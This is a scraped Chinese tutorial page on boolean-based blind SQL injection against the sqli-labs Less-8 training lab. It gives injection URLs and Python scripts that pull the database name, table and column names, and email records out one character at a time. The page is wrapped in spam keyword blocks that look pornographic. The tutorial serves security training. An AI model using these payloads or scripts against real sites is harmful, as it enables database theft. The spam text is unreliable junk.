婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識(shí)庫 > SQL注入之基于布爾的盲注詳解

SQL注入之基于布爾的盲注詳解

熱門標(biāo)簽:怎么去開發(fā)一個(gè)電銷機(jī)器人 ai電話電話機(jī)器人 小程序智能電話機(jī)器人 簡單的智能語音電銷機(jī)器人 河北便宜電銷機(jī)器人軟件 泗洪正規(guī)電話機(jī)器人找哪家 湖南保險(xiǎn)智能外呼系統(tǒng)產(chǎn)品介紹 怎么申請(qǐng)400熱線電話 南昌呼叫中心外呼系統(tǒng)哪家好

基于布爾的盲注

Web的頁面的僅僅會(huì)返回True和False。那么布爾盲注就是進(jìn)行SQL注入之后然后根據(jù)頁面返回的True或者是False來得到數(shù)據(jù)庫中的相關(guān)信息。

由于本次是布爾注入,手注無法完整地進(jìn)行脫褲。所以在本節(jié)需要編寫大量的代碼來幫助我們進(jìn)行SQL注入,得到數(shù)據(jù)。所以在這章里面會(huì)有很多的Python代碼。

本次的示例就是Less-8。

通過進(jìn)行下面的語句的注入測(cè)試

http://localhost/sqlilabs/Less-8/?id=2'
http://localhost/sqlilabs/Less-8/?id=2"
http://localhost/sqlilabs/Less-8/?id=2\

進(jìn)行測(cè)試的時(shí)候,只有在id=2'的時(shí)候頁面無法顯示內(nèi)容。輸入的語句如果符合要求,頁面就會(huì)顯示內(nèi)容,但是顯示的內(nèi)容都是一樣的。這種情況下頁面上的輸出對(duì)于我們來說是完全沒有用的,包括SQL執(zhí)行出錯(cuò)的信息都不會(huì)在頁面上顯示。這種情況下之前的通過執(zhí)行SQL語句然后在頁面上顯示SQL執(zhí)行之后返回的信息完全是不可能的啦。這種情況下就是一個(gè)典型的SQL盲注了。

我們通過頁面是否顯示內(nèi)容來判斷我們的SQL語句是否正確,進(jìn)而猜解數(shù)據(jù)庫的信息。

通過上面的注入測(cè)試,我們知道后臺(tái)的SQL的注入語句的寫法是:

select field from table where id='userinput'

id參數(shù)是被單引號(hào)包括的。其他的信息我們就無法得到了。

得到數(shù)據(jù)庫的名稱

在得到數(shù)據(jù)庫的名稱之前,首先需要得到數(shù)據(jù)庫的長度

http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23
以此類推
.....

發(fā)現(xiàn)當(dāng)值為8的時(shí)候,頁面就沒有顯示。那么說明database()的長度是8。

得到了datbase()的長度之后,接下來就是得到database()的名稱了。

這個(gè)時(shí)候就不能完全靠手注了,必須編寫Python代碼來完成。其中最主要就是進(jìn)行大量的注入測(cè)試來判斷程序執(zhí)行正確和出錯(cuò)的時(shí)機(jī),然后斷定當(dāng)前的值可能就是正確的值。

下面就是一個(gè)簡單的使用Python來進(jìn)行布爾盲注獲取數(shù)據(jù)的代碼。

def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

得到最后的結(jié)果的是security,是正確的。

得到數(shù)據(jù)庫中的表信息

其實(shí)所有的SQL注入步驟都是類似的。首先得到數(shù)據(jù)庫的名稱(這一步不是必須的),然后得到當(dāng)前數(shù)據(jù)庫的表名稱,然后得到表的字段,最后進(jìn)行脫褲。這個(gè)步驟在前一章已經(jīng)有說明了。

首先看一個(gè)簡單的SQL盲注獲取數(shù)據(jù)庫表信息的寫法。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23

其實(shí)還是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1這樣的語句來得到表的信息,但是現(xiàn)在是無法在頁面上顯示的,而是通過盲注來一個(gè)字符一個(gè)字符的獲取表名。

接下也同樣是通過編寫Python代碼來獲取表名了。代碼也和上面的類似。主要就是修改中的URl。在進(jìn)行Python獲取表名之前,我們同樣需要知道表名的長度。

使用如下的語句就可以得到了。

獲取表名的SQL注入的寫法就是如下

http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

通過這種方式我們知道數(shù)據(jù)庫表中的第一個(gè)表名的長度是6。知道了表名的長度之后,接下來的Python腳本就很好寫了。

def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

最后得到了第一個(gè)表名是emails,如果要得到其他的表名只需要將代碼limit 0,1修改成為limit 1,1或者是其他的就可以了。

得到表名的列信息

在得到列名之前,同樣需要知道在表中的字段長度。例如我們想要知道在emails表中的長度,那么就可以使用如下的語句來獲取。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23

修改num的值即可,從0開始一直到到程序出錯(cuò)。通過這種方法,我們得到在emails中存在2個(gè)字段,字段的長度分別是2,8。
得到了字段長度之后,接下來就是進(jìn)行布爾注入得到字段名稱了。

在編寫代碼之前,還是來看如何寫獲取字段名稱的sql語句吧。下面這個(gè)代碼就是用來獲取字段名稱的代碼。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23

我們編寫的Python代碼也是利用上面這個(gè)代碼來獲取字段名稱。

def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

通過上面這個(gè)代碼,我們可以得到在emails表中存在的字段名稱分別是idemail_id

脫褲

在得到了字段名稱之后,接下來最重要的一步就是進(jìn)行脫褲了。
在進(jìn)行脫褲之前,我們首先判斷在emails表中有多少條記錄。

使用的語句如下:

http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23

修改>0中的0依次為1,2,3之后,我們得到在emails表中一共存在8條記錄。

那么接下來就是進(jìn)行脫褲了。

在脫褲之前,我們首先要知道當(dāng)前記錄的長度,這個(gè)SQL語句也很好寫。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23

最后我們知道在emails表中的第一條記錄中的email_id的長度是16.

知道了長度之后,代碼就很好寫了。

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

通過上面的這段代碼就得到了內(nèi)容是Dumb@dhakkan.com,其他的內(nèi)容就同樣通過這段方式得到數(shù)據(jù)了。這里就不作演示了。

總結(jié)

其實(shí)基于布爾盲注和基于時(shí)間的盲注都是需要編寫大量的代碼,就像本篇的文章一樣。之前在簡單的SQL注入中,一句SQL注入代碼就可以解決的問題在這里就需要編寫Python代碼來進(jìn)行大量的注入測(cè)試才能夠得到內(nèi)容。其實(shí)之前我也很少完整的用Python來編寫SQL注入代碼完成整個(gè)布爾盲注的注入過程。通過本章的編寫,熟悉了使用Python代碼完整地進(jìn)行一次布爾盲注的過程了,學(xué)習(xí)了很多。以上就是這篇文章的全部內(nèi)容了,希望對(duì)大家能有所幫助。

您可能感興趣的文章:
  • SQL注入繞過的技巧總結(jié)
  • 淺談mybatis中的#和$的區(qū)別 以及防止sql注入的方法
  • sql注入之手工注入示例詳解
  • java 過濾器filter防sql注入的實(shí)現(xiàn)代碼
  • jquery過濾特殊字符'',防sql注入的實(shí)現(xiàn)方法
  • php簡單實(shí)現(xiàn)sql防注入的方法
  • Sql注入原理簡介_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理

標(biāo)簽:那曲 瀘州 淮安 威海 荊門 江蘇 柳州 景德鎮(zhèn)

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《SQL注入之基于布爾的盲注詳解》,本文關(guān)鍵詞  SQL,注入,之,基于,布爾,的,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《SQL注入之基于布爾的盲注詳解》相關(guān)的同類信息!
  • 本頁收集關(guān)于SQL注入之基于布爾的盲注詳解的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    蜜臀91精品一区二区三区| 欧美精品v日韩精品v韩国精品v| 韩国女主播成人在线| 日韩avvvv在线播放| 亚州成人在线电影| 午夜av电影一区| 强制捆绑调教一区二区| 日韩国产欧美在线播放| 麻豆精品国产传媒mv男同| 蜜桃av一区二区三区| 国产在线精品一区二区夜色| 久久99精品国产麻豆不卡| 韩国v欧美v亚洲v日本v| 成人免费视频视频在线观看免费| 成人午夜电影久久影院| 91丨九色丨蝌蚪丨老版| 欧美日韩大陆在线| 26uuu国产在线精品一区二区| 国产欧美一区在线| 国产精品国产a| 性做久久久久久免费观看欧美| 亚洲123区在线观看| 亚洲色图欧美偷拍| 奇米一区二区三区| 日韩欧美国产一区二区三区 | 欧美精品一卡两卡| 精品国产免费视频| 日韩美女啊v在线免费观看| 日韩av不卡在线观看| 成人综合婷婷国产精品久久免费| 欧美在线影院一区二区| 欧美成人性福生活免费看| 国产精品―色哟哟| 日韩电影在线一区| 91麻豆高清视频| 久久久久久久一区| 同产精品九九九| 成人教育av在线| 精品国产凹凸成av人网站| 亚洲精品中文字幕乱码三区| 国产午夜精品在线观看| 香蕉久久一区二区不卡无毒影院| 欧美高清视频不卡网| 六月丁香婷婷久久| 亚洲一区在线观看网站| 免费人成在线不卡| 欧美视频一区在线观看| 国产精品久久网站| 国产在线播精品第三| 欧美巨大另类极品videosbest | 亚洲色图在线视频| 国产毛片精品视频| 在线91免费看| 亚洲一级二级三级在线免费观看| 国产在线精品免费| 69久久99精品久久久久婷婷 | 欧美日韩视频在线一区二区 | 午夜精品福利久久久| 91污在线观看| 国产精品视频观看| 福利一区二区在线| 久久久99久久| 精品一区二区三区视频| 欧美二区在线观看| 日韩精品成人一区二区三区| 色先锋资源久久综合| 国产欧美一区二区精品仙草咪| 青青草伊人久久| 日韩欧美在线影院| 日韩福利视频导航| 91精品国产综合久久国产大片| 亚洲国产美女搞黄色| 一本到不卡免费一区二区| 日韩毛片在线免费观看| 色婷婷av一区二区三区大白胸| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 欧美日韩视频一区二区| 亚洲欧洲国产日韩| 国产xxx精品视频大全| 久久久久97国产精华液好用吗 | 国产欧美精品国产国产专区| 国产一区二区三区黄视频| 精品久久久久一区| 国产精品一二三| 国产精品女同一区二区三区| 国产成人免费视频网站| 中文字幕一区二区三区在线不卡| 国产成人精品一区二区三区四区| 国产调教视频一区| 色屁屁一区二区| 久久精品人人做人人爽人人| 97成人超碰视| 国产91精品一区二区麻豆亚洲| 七七婷婷婷婷精品国产| 视频一区欧美日韩| 精品99一区二区| 91在线观看污| 蜜臀av一区二区在线免费观看| 日韩一级黄色片| 不卡免费追剧大全电视剧网站| 亚洲网友自拍偷拍| 婷婷开心激情综合| 26uuuu精品一区二区| 色综合av在线| 狠狠色丁香婷综合久久| 亚洲男人天堂av| 欧美大尺度电影在线| 成人精品一区二区三区四区 | 亚洲欧美综合在线精品| 欧美日韩一区二区三区视频| 精品综合久久久久久8888| 一区在线观看免费| 这里是久久伊人| 99久久国产综合精品色伊| 日韩精品色哟哟| 亚洲欧美激情视频在线观看一区二区三区 | 免费欧美日韩国产三级电影| 26uuu国产一区二区三区| 色婷婷综合久久久久中文一区二区| 日本女人一区二区三区| 国产精品短视频| 日韩亚洲欧美高清| 欧美专区日韩专区| zzijzzij亚洲日本少妇熟睡| 麻豆国产精品777777在线| 亚洲激情自拍偷拍| 国产精品系列在线| 亚洲精品一区二区三区蜜桃下载| 欧美视频一区二区| 99久久精品费精品国产一区二区| 韩国三级中文字幕hd久久精品| 亚洲6080在线| 一区二区三区中文在线观看| 久久精品人人做人人综合| 欧美剧在线免费观看网站 | 欧美在线综合视频| 91香蕉视频mp4| 一本色道久久加勒比精品| 成人精品视频一区二区三区| 久久66热re国产| 免费久久精品视频| 日韩在线a电影| 蜜桃免费网站一区二区三区| 亚洲国产精品视频| 亚洲成人免费观看| 亚洲电影在线播放| 亚洲一区二区在线免费观看视频| 亚洲女同女同女同女同女同69| 国产精品久久久久久久久晋中 | 国产一区二区伦理片| 韩国欧美国产1区| 国产乱码精品一区二区三区五月婷 | 国产精品亚洲综合一区在线观看| 精品一区二区三区久久| 激情小说亚洲一区| 国产·精品毛片| 99久久伊人久久99| 色呦呦国产精品| 欧美日韩一区二区三区四区五区| 69p69国产精品| 精品少妇一区二区三区| 久久久综合九色合综国产精品| 国产欧美日韩视频一区二区| 中文字幕一区二区在线播放| 亚洲黄色片在线观看| 日韩福利视频网| 国产精品888| 一本色道久久综合狠狠躁的推荐 | 精品一区二区影视| 不卡的电影网站| 欧美日韩国产综合一区二区三区| 日韩午夜在线观看视频| 国产性色一区二区| 一区二区国产视频| 韩日精品视频一区| 99精品热视频| 正在播放亚洲一区| 国产精品国产三级国产三级人妇 | 久久99精品国产麻豆婷婷| 成人av在线资源网站| 欧美视频自拍偷拍| 久久天天做天天爱综合色| 国产精品久久久久一区二区三区 | 成人国产一区二区三区精品| 欧美日韩在线免费视频| 国产视频视频一区| 亚洲高清三级视频| 成人sese在线| 日韩欧美不卡一区| 一二三区精品福利视频| 国产精品99久久久久久似苏梦涵| 在线视频欧美区| 久久久亚洲精品石原莉奈| 亚洲午夜电影网| 91在线云播放| 久久九九久久九九| 久久福利资源站| 91精品国产综合久久久久久久久久 | 国产老女人精品毛片久久| 欧美日韩久久久一区|